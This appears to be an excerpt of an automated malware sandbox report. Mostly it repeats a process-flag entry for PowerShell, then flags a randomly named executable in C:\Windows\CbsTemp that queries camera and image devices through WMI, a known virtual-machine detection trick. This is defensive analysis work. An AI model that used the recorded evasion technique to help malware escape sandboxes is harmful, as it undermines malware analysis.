Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
